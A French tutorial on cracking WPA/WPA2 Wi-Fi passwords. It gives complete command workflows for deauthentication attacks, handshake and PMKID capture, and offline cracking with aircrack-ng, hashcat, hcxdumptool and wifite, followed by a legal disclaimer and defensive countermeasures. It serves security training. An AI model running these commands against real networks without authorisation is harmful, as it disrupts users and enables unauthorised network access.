Attaques de mots de passe de réseaux sans fil

Capture et cassage de la sécurité WPA/WPA2

Ce que vous allez découvrir

🎯 Pourquoi c'est important

L'évaluation de la sécurité des réseaux sans fil représente un composant critique des tests d'intrusion modernes. Les organisations déploient des réseaux WiFi dans toutes leurs installations, souvent sans comprendre pleinement les implications de sécurité. Le chiffrement WPA2 et WPA3 fournit une protection cryptographique solide, mais les mots de passe faibles restent la vulnérabilité fondamentale qui permet l'accès non autorisé au réseau. Les professionnels de la sécurité ont besoin de compétences en cassage de mots de passe sans fil pour évaluer la posture de sécurité réelle des déploiements WiFi, identifier les authentifications faibles et démontrer la faisabilité des attaques avant que des acteurs malveillants n'exploitent ces faiblesses pour obtenir l'accès au réseau, intercepter le trafic ou pivoter vers les systèmes internes.

🔍 Ce que vous allez apprendre

Vous maîtriserez les outils professionnels de cassage de mots de passe sans fil incluant aircrack-ng, hashcat, hcxdumptool et wifite2, comprendrez la capture et le cassage du handshake 4-way WPA/WPA2, apprendrez les techniques modernes d'attaque PMKID qui contournent les exigences d'authentification client, et développerez des compétences en reconnaissance sans fil, capture de paquets et récupération de mots de passe. Ces techniques sont essentielles pour les tests d'intrusion sans fil, les évaluations de sécurité des déploiements WiFi d'entreprise et la compréhension de la surface d'attaque que les réseaux sans fil présentent aux menaces internes et externes.

🚀 Votre première victoire

Dans les 20 prochaines minutes, vous comprendrez comment fonctionne la capture de handshake WPA2, apprendrez à extraire les hachages d'authentification des réseaux sans fil et saurez exactement comment les professionnels de la sécurité cassent les mots de passe WiFi lors des tests d'intrusion.

🔧 Essayez maintenant

Explorons la reconnaissance de réseau sans fil pour comprendre le flux de travail d'attaque (nécessite un adaptateur WiFi avec support du mode moniteur) :

# Installer la suite aircrack-ng (contient les outils sans fil)
# Ubuntu/Debian
sudo apt update && sudo apt install aircrack-ng

# Kali Linux (pré-installé)
# Inclut déjà aircrack-ng, airmon-ng, airodump-ng

# macOS nécessite un adaptateur WiFi spécifique - l'intégré ne fonctionnera pas
# Recommandé : Alfa AWUS036ACH ou adaptateur similaire compatible mode moniteur

# Vérifier votre interface sans fil
iwconfig
# Rechercher : wlan0, wlp2s0, ou similaire

# Activer le mode moniteur sur votre adaptateur sans fil
sudo airmon-ng start wlan0
# Cela crée l'interface mon0 ou wlan0mon

# Scanner les réseaux sans fil à proximité
sudo airodump-ng wlan0mon

# Vous verrez :
# - BSSID (adresse MAC de l'AP)
# - PWR (force du signal)
# - Beacons (annonces de l'AP)
# - CH (canal)
# - ENC (type de chiffrement : WPA, WPA2, WPA3)
# - ESSID (nom du réseau)

# Arrêter le mode moniteur une fois terminé
sudo airmon-ng stop wlan0mon

# NOTE : N'effectuez ces techniques que sur des réseaux que vous possédez
# ou pour lesquels vous avez une permission écrite explicite de tester.
# L'accès non autorisé aux réseaux sans fil viole les lois sur la fraude informatique.

Vous verrez : Tous les réseaux sans fil à portée avec leurs configurations de sécurité. Cette phase de reconnaissance identifie les réseaux WPA2 (la cible principale), la force du signal (proximité) et le nombre de clients connectés (pour la capture de handshake). Comprendre ce flux de travail vous prépare aux évaluations de sécurité sans fil professionnelles.

Compétences que vous maîtriserez

Comprendre la sécurité sans fil

WPA2 (Wi-Fi Protected Access 2) implémente une protection cryptographique robuste utilisant le chiffrement AES-CCMP et une dérivation de clé sécurisée via le handshake 4-way. Lorsqu'un client se connecte à un réseau WPA2, le point d'accès et le client effectuent un échange d'authentification mutuelle qui génère des clés de session uniques dérivées de la clé pré-partagée (PSK) - le mot de passe WiFi. Cet échange de handshake contient du matériel cryptographique qui permet des attaques de cassage de mots de passe hors ligne. Les professionnels de la sécurité capturent ces handshakes et utilisent des outils spécialisés pour tester la force du mot de passe sans nécessiter un accès continu au réseau.

La spécification du protocole de sécurité WPA2 décrit le processus d'authentification en détail, mais la vulnérabilité fondamentale reste la force du mot de passe. L'implémentation cryptographique est solide - AES-256 fournit un chiffrement robuste et PBKDF2 avec 4 096 itérations crée la clé maîtresse par paire (PMK). Cependant, les mots de passe faibles permettent un cassage réussi quelle que soit la force du chiffrement. Un mot de passe de 8 caractères utilisant des lettres minuscules et des chiffres peut être cassé en quelques heures, tandis qu'un mot de passe de 12+ caractères avec une haute entropie résiste aux capacités de cassage actuelles.

Les attaques PMKID modernes représentent une évolution dans la méthodologie de cassage de mots de passe sans fil. Découverte en 2018 par Jens Steube (créateur de hashcat), l'attaque PMKID exploite un défaut de conception dans l'élément d'information du réseau de sécurité robuste WPA2 (RSN IE). Le point d'accès inclut le PMKID dans la première trame du handshake 4-way, calculé comme HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA). Cette seule trame contient suffisamment d'informations pour effectuer des attaques de mots de passe hors ligne sans nécessiter un handshake complet ou la présence d'un client. Des outils comme hcxdumptool peuvent extraire les PMKIDs directement des points d'accès, simplifiant dramatiquement le flux de travail d'attaque et éliminant le besoin d'attaques de désauthentification de clients.

Outils et techniques

🔨 Suite aircrack-ng : capture traditionnelle de handshake

La suite aircrack-ng représente le standard de l'industrie pour l'évaluation de la sécurité sans fil, fournissant des outils complets pour l'activation du mode moniteur, la capture de paquets, l'analyse de handshake et le cassage de mots de passe. Cette suite inclut airmon-ng (mode moniteur), airodump-ng (capture de paquets), aireplay-ng (désauthentification) et aircrack-ng (cassage de mots de passe).

# Activer le mode moniteur
sudo airmon-ng start wlan0
# Crée l'interface wlan0mon

# Scanner le réseau cible
sudo airodump-ng wlan0mon

# Capturer le handshake sur un canal spécifique
# Remplacer : BSSID par MAC de l'AP, CH par canal, ESSID par nom du réseau
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Dans un autre terminal : Forcer la déauth du client pour capturer le handshake
# Cela force le client à se reconnecter et transmettre le handshake
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Surveiller la sortie airodump-ng pour : "WPA handshake: AA:BB:CC:DD:EE:FF"
# Cela confirme la capture réussie

# Casser le handshake capturé
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

# Le résultat affiche le mot de passe s'il est trouvé dans la liste
# Exemple de sortie : "KEY FOUND! [ password123 ]"

L'approche aircrack-ng nécessite la capture d'un handshake 4-way complet, ce qui nécessite la présence d'un client et une activité de connexion. L'attaque de désauthentification déconnecte de force les clients, les forçant à se reconnecter et transmettre le handshake. Bien qu'efficace, cette approche génère une perturbation réseau notable et peut déclencher la surveillance de sécurité. Le fichier .cap capturé contient les trames EAPOL avec les données d'authentification, que aircrack-ng utilise pour vérifier les suppositions de mots de passe en calculant le PMK et comparant les valeurs dérivées.

⚡ hcxdumptool + hashcat : attaques PMKID modernes

La suite hcxdumptool et hcxtools permet des attaques sans fil modernes basées sur PMKID qui éliminent le besoin de présence client ou de désauthentification. Combinée avec l'accélération GPU de hashcat, cette approche représente l'état de l'art actuel du cassage de mots de passe sans fil.

# Installer hcxdumptool et hcxtools
# Ubuntu/Debian
sudo apt install hcxdumptool hcxtools

# Kali Linux
sudo apt install hcxdumptool hcxtools

# Activer le mode moniteur (si pas déjà activé)
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

# Capturer les PMKIDs des APs à proximité (pas de clients requis !)
sudo hcxdumptool -i wlan0 -o capture.pcapng --enable_status=1

# Exécuter pendant 5-10 minutes pour capturer les PMKIDs de plusieurs APs
# Le statut affiche : PMKIDs capturés, handshakes capturés, APs détectés

# Convertir la capture au format hashcat
hcxpcapngtool -o hashes.hc22000 capture.pcapng

# Examiner les hachages capturés
cat hashes.hc22000
# Format : WPA*02*PMKID*MAC_AP*MAC_CLIENT*ESSID

# Casser avec hashcat (mode 22000 pour WPA-PMKID-PBKDF2)
hashcat -m 22000 -a 0 hashes.hc22000 rockyou.txt

# Cassage accéléré par GPU
hashcat -m 22000 -a 0 hashes.hc22000 rockyou.txt -w 3

# Attaque basée sur des règles pour mutations de mots de passe
hashcat -m 22000 -a 0 hashes.hc22000 rockyou.txt -r rules/best64.rule

# Attaque par masque pour modèles connus
hashcat -m 22000 -a 3 hashes.hc22000 '?u?l?l?l?l?l?l?d?d'

L'attaque PMKID fonctionne parce que les points d'accès incluent cette valeur dans le RSN IE de la première trame EAPOL. La divulgation originale de l'attaque PMKID par hashcat a démontré que cette seule trame fournit tout ce qui est nécessaire pour les attaques de mots de passe hors ligne. Contrairement à la capture de handshake traditionnelle, les attaques PMKID ne nécessitent pas de désauthentification de client, les rendant plus furtives et fiables. Cependant, tous les points d'accès ne sont pas vulnérables - certains fabricants ont implémenté des atténuations qui empêchent l'extraction de PMKID.

🚀 wifite2 : attaques sans fil automatisées

Wifite2 fournit un audit de réseau sans fil entièrement automatisé, combinant reconnaissance, capture de handshake, extraction PMKID et cassage de mots de passe dans un flux de travail rationalisé. Cet outil est idéal pour l'évaluation rapide de plusieurs réseaux sans fil.

# Installer wifite2
# Ubuntu/Debian
sudo apt install wifite

# Kali Linux (pré-installé)
wifite --help

# Exécuter une attaque automatisée (gère tout automatiquement)
sudo wifite

# Wifite va :
# 1. Activer le mode moniteur automatiquement
# 2. Scanner les réseaux sans fil
# 3. Vous laisser sélectionner la/les cible(s)
# 4. Tenter d'abord la capture PMKID (rapide, furtive)
# 5. Revenir à la capture de handshake si nécessaire
# 6. Casser les mots de passe automatiquement

# Cibler un réseau spécifique par ESSID
sudo wifite --essid "TargetNetwork"

# Cibler les réseaux par type de chiffrement
sudo wifite --wpa

# Utiliser une liste de mots personnalisée
sudo wifite --dict /path/to/wordlist.txt

# Ignorer le cassage, capturer seulement les handshakes
sudo wifite --no-crack

# Attaquer WPS (si activé sur l'AP)
sudo wifite --wps

# Sortie verbeuse pour le débogage
sudo wifite --verbose

Wifite2 gère automatiquement la complexité des attaques sans fil, le rendant accessible aux évaluateurs de sécurité qui ont besoin de résultats rapides. L'outil s'intègre avec aircrack-ng, reaver (attaques WPS), bully et d'autres utilitaires pour fournir une couverture d'attaque complète. Il détecte automatiquement la meilleure méthode d'attaque pour chaque cible et gère la récupération d'erreurs. Bien que pratique, comprendre les techniques sous-jacentes reste important pour le dépannage et les scénarios avancés.

🎯 Techniques avancées et optimisation

Les évaluations sans fil professionnelles nécessitent la compréhension des techniques de capture avancées, l'optimisation des attaques et les méthodes de dépannage pour les scénarios difficiles.

# Vérifier la qualité du handshake avant le cassage
# Les handshakes incomplets gaspillent du temps de cassage
aircrack-ng -w test.txt capture-01.cap
# Devrait afficher : "1 handshake" pas "0 handshakes"

# Convertir .cap au format hashcat
hcxpcapngtool -o handshake.hc22000 capture-01.cap

# Nettoyer et optimiser les fichiers de capture
# Supprimer les trames dupliquées et le trafic non-WPA
wpaclean cleaned.cap dirty.cap

# Désauthentification ciblée (client spécifique)
aireplay-ng --deauth 5 -a AP_MAC -c CLIENT_MAC wlan0mon

# Surveillance continue pour plusieurs handshakes
# Utile dans les environnements occupés avec beaucoup de clients
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w multi-capture wlan0mon

# Optimisation hashcat pour cassage sans fil
# Utiliser --force si erreurs OpenCL
hashcat -m 22000 hashes.hc22000 rockyou.txt --force

# Statut pendant le cassage (appuyer sur 's')
# Affiche vitesse, progression, temps estimé

# Attaques par combinaison pour WiFi d'entreprise
# Combiner nom d'entreprise avec modèles courants
hashcat -m 22000 -a 1 hashes.hc22000 company.txt patterns.txt

# Dépannage : Vérifier si le handshake est valide
tshark -r capture-01.cap -Y eapol
# Devrait afficher 4 trames EAPOL (ou minimum 2)

La vérification de la qualité du handshake empêche de perdre du temps sur des captures invalides. Un handshake 4-way complet contient quatre trames EAPOL, mais seules les trames 2 et 3 (ou parfois 1 et 2) sont requises pour le cassage de mots de passe. Convertir les captures au format hashcat permet l'accélération GPU, fournissant des améliorations de vitesse de 100-1000x par rapport à aircrack-ng basé sur CPU. Pour les réseaux sans fil d'entreprise, les listes de mots personnalisées incorporant des termes spécifiques à l'entreprise augmentent dramatiquement les taux de réussite.

Contre-mesures défensives

🛡️ Politiques de mots de passe WiFi forts

La sécurité des réseaux sans fil dépend fondamentalement de la force du mot de passe. Les organisations doivent implémenter et appliquer des politiques de mots de passe WiFi robustes qui tiennent compte des capacités de cassage hors ligne. Le cadre de cybersécurité NIST recommande des exigences de mots de passe spécifiques pour les réseaux sans fil qui supposent que les attaquants captureront les handshakes et tenteront le cassage hors ligne.

• Mots de passe de minimum 20 caractères : Les longues phrases de passe résistent efficacement aux attaques par force brute
• Exigences de haute entropie : Mélanger majuscules, minuscules, chiffres, symboles - éviter les mots du dictionnaire
• Rotation régulière des mots de passe : Changer les mots de passe WiFi trimestriellement ou après le départ d'employés
• Mots de passe uniques par SSID : Différents mots de passe pour les réseaux invités, employés et management

🔐 Migration WPA3 et authentification entreprise

WPA3 corrige les vulnérabilités fondamentales du handshake 4-way de WPA2 grâce à l'authentification simultanée des égaux (SAE), qui fournit la confidentialité persistante et la résistance aux attaques par dictionnaire hors ligne. Pour les environnements d'entreprise, WPA2/WPA3-Enterprise avec authentification 802.1X élimine entièrement les vulnérabilités PSK.

• Déploiement WPA3 : Mettre à niveau vers des points d'accès compatibles WPA3 et forcer le mode WPA3 uniquement
• Mode de transition WPA2/WPA3 : Supporter les deux pendant la période de migration, puis désactiver WPA2
• Authentification 802.1X/RADIUS : Identifiants utilisateur individuels au lieu de mots de passe partagés
• Authentification basée sur certificats : EAP-TLS avec certificats client pour la plus haute sécurité

⚡ Détection et prévention d'intrusion sans fil

L'infrastructure sans fil d'entreprise devrait inclure des systèmes de détection d'intrusion sans fil (WIDS) et des systèmes de prévention d'intrusion sans fil (WIPS) qui détectent et répondent aux activités d'attaque incluant les tentatives de capture de handshake, les attaques de désauthentification et les points d'accès non autorisés.

• Détection d'attaque de désauthentification : Surveiller les trames deauth excessives et bloquer les appareils attaquants
• Détection d'AP non autorisé : Identifier les points d'accès non autorisés utilisant les SSIDs de l'entreprise
• Isolation des clients : Empêcher les clients de communiquer directement (stoppe le mouvement latéral)
• Protection des trames de gestion (802.11w) : Protéger cryptographiquement les trames de désauthentification

🔍 Segmentation et surveillance réseau

Les réseaux sans fil devraient être traités comme non fiables et séparés des ressources internes critiques par la segmentation réseau, les VLANs et les politiques de pare-feu qui supposent la compromission du sans fil.

• Segmentation VLAN : Séparer les réseaux sans fil de l'infrastructure filaire
• Politiques de pare-feu : Restreindre l'accès réseau sans fil à internet uniquement, bloquer les ressources internes
• Isolation du réseau invité : Séparation complète avec limitation de bande passante et filtrage de contenu
• Surveillance et journalisation : Journalisation complète des tentatives d'authentification et accès réseau

FAQ

Bases du cassage de mots de passe sans fil

Implémentation technique

Applications pratiques

🎯 Vous maîtrisez le cassage de mots de passe sans fil !

Vous comprenez maintenant les mécanismes d'authentification WPA/WPA2, pouvez capturer des handshakes 4-way et des PMKIDs, et savez comment casser les mots de passe sans fil en utilisant des outils professionnels comme aircrack-ng, hashcat et hcxdumptool. Ces compétences sont essentielles pour les tests d'intrusion sans fil, les évaluations de sécurité des déploiements WiFi d'entreprise et la compréhension de la surface d'attaque que les réseaux sans fil présentent aux menaces internes et externes.

Prêt à explorer les techniques de récupération de mots de passe système Windows